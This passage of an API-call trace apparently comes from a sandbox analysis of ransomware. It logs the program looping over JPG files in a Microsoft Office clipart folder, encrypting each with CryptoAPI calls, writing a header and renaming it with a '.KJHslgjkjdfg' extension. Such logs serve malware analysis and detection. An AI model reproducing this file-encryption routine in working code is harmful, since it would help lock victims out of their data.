[0173.626] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0173.626] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x8584, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.626] SetEndOfFile (hFile=0x114) returned 1 [0173.629] GetProcessHeap () returned 0x2a0000 [0173.629] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0173.629] GetProcessHeap () returned 0x2a0000 [0173.629] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0173.629] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145895.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145895.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145895.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145895.jpg.kjhslgjkjdfg")) returned 1 [0173.630] CloseHandle (hObject=0x114) returned 1 [0173.630] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa912cb00, ftCreationTime.dwHighDateTime=0x1bdbf72, ftLastAccessTime.dwLowDateTime=0x65f27470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa912cb00, ftLastWriteTime.dwHighDateTime=0x1bdbf72, nFileSizeHigh=0x0, nFileSizeLow=0x9a76, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0145904.JPG", cAlternateFileName="")) returned 1 [0173.630] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145904.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145904.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0173.631] GetProcessHeap () returned 0x2a0000 [0173.631] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0173.631] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0173.631] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0173.632] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xa, lpOverlapped=0x0) returned 1 [0173.634] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0173.634] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0173.634] GetProcessHeap () returned 0x2a0000 [0173.634] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0173.634] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0173.634] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0173.634] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0173.634] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0173.634] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0173.634] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0173.634] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0173.634] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0173.635] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0173.635] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0173.635] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.635] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x9a76, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x9a76, lpOverlapped=0x0) returned 1 [0173.636] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x9a80, dwBufLen=0x9a80 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x9a80) returned 1 [0173.637] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.637] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x9a80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x9a80, lpOverlapped=0x0) returned 1 [0173.637] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0173.637] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x9b54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.637] SetEndOfFile (hFile=0x114) returned 1 [0173.640] GetProcessHeap () returned 0x2a0000 [0173.640] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0173.640] GetProcessHeap () returned 0x2a0000 [0173.640] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0173.640] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145904.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145904.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145904.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145904.jpg.kjhslgjkjdfg")) returned 1 [0173.641] CloseHandle (hObject=0x114) returned 1 [0173.641] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xb5ac, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0146142.JPG", cAlternateFileName="")) returned 1 [0173.641] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0146142.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0146142.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0173.642] GetProcessHeap () returned 0x2a0000 [0173.642] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0173.642] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0173.642] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0173.642] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0173.645] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0173.645] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0173.645] GetProcessHeap () returned 0x2a0000 [0173.645] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0173.645] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0173.645] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0173.645] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0173.645] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0173.645] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0173.645] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0173.645] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0173.645] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0173.645] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0173.645] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0173.646] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.646] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xb5ac, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xb5ac, lpOverlapped=0x0) returned 1 [0173.647] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xb5b0, dwBufLen=0xb5b0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xb5b0) returned 1 [0173.648] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.648] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xb5b0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xb5b0, lpOverlapped=0x0) returned 1 [0173.648] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0173.648] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xb684, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.648] SetEndOfFile (hFile=0x114) returned 1 [0173.651] GetProcessHeap () returned 0x2a0000 [0173.651] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0173.651] GetProcessHeap () returned 0x2a0000 [0173.651] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0173.651] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0146142.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0146142.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0146142.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0146142.jpg.kjhslgjkjdfg")) returned 1 [0173.652] CloseHandle (hObject=0x114) returned 1 [0173.652] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f27470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xaa9a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0148309.JPG", cAlternateFileName="")) returned 1 [0173.652] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148309.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0148309.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0173.653] GetProcessHeap () returned 0x2a0000 [0173.653] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0173.653] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0173.653] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0173.653] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x6, lpOverlapped=0x0) returned 1 [0173.656] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0173.656] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0173.656] GetProcessHeap () returned 0x2a0000 [0173.656] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0173.656] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0173.656] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0173.656] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0173.657] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0173.657] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0173.657] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0173.657] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0173.657] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0173.657] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0173.657] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0173.657] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.657] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xaa9a, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xaa9a, lpOverlapped=0x0) returned 1 [0173.658] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xaaa0, dwBufLen=0xaaa0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xaaa0) returned 1 [0173.659] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.659] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xaaa0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xaaa0, lpOverlapped=0x0) returned 1 [0173.659] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0173.660] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xab74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.660] SetEndOfFile (hFile=0x114) returned 1 [0173.662] GetProcessHeap () returned 0x2a0000 [0173.662] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0173.662] GetProcessHeap () returned 0x2a0000 [0173.662] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0173.662] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148309.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0148309.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148309.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0148309.jpg.kjhslgjkjdfg")) returned 1 [0173.664] CloseHandle (hObject=0x114) returned 1 [0173.664] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x107d4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0148757.JPG", cAlternateFileName="")) returned 1 [0173.664] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148757.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0148757.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0173.665] GetProcessHeap () returned 0x2a0000 [0173.665] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0173.665] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0173.665] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0173.665] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0173.667] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0173.667] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0173.667] GetProcessHeap () returned 0x2a0000 [0173.667] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0173.667] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0173.667] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0173.667] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0173.667] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0173.667] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0173.667] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0173.667] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0173.668] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0173.668] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0173.668] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0173.668] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.668] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x107d4, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x107d4, lpOverlapped=0x0) returned 1 [0173.670] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x107e0, dwBufLen=0x107e0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x107e0) returned 1 [0173.670] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.671] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x107e0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x107e0, lpOverlapped=0x0) returned 1 [0173.671] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0173.671] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x108b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.671] SetEndOfFile (hFile=0x114) returned 1 [0173.674] GetProcessHeap () returned 0x2a0000 [0173.674] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0173.674] GetProcessHeap () returned 0x2a0000 [0173.674] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0173.674] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148757.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0148757.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148757.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0148757.jpg.kjhslgjkjdfg")) returned 1 [0173.682] CloseHandle (hObject=0x114) returned 1 [0173.683] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f27470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, 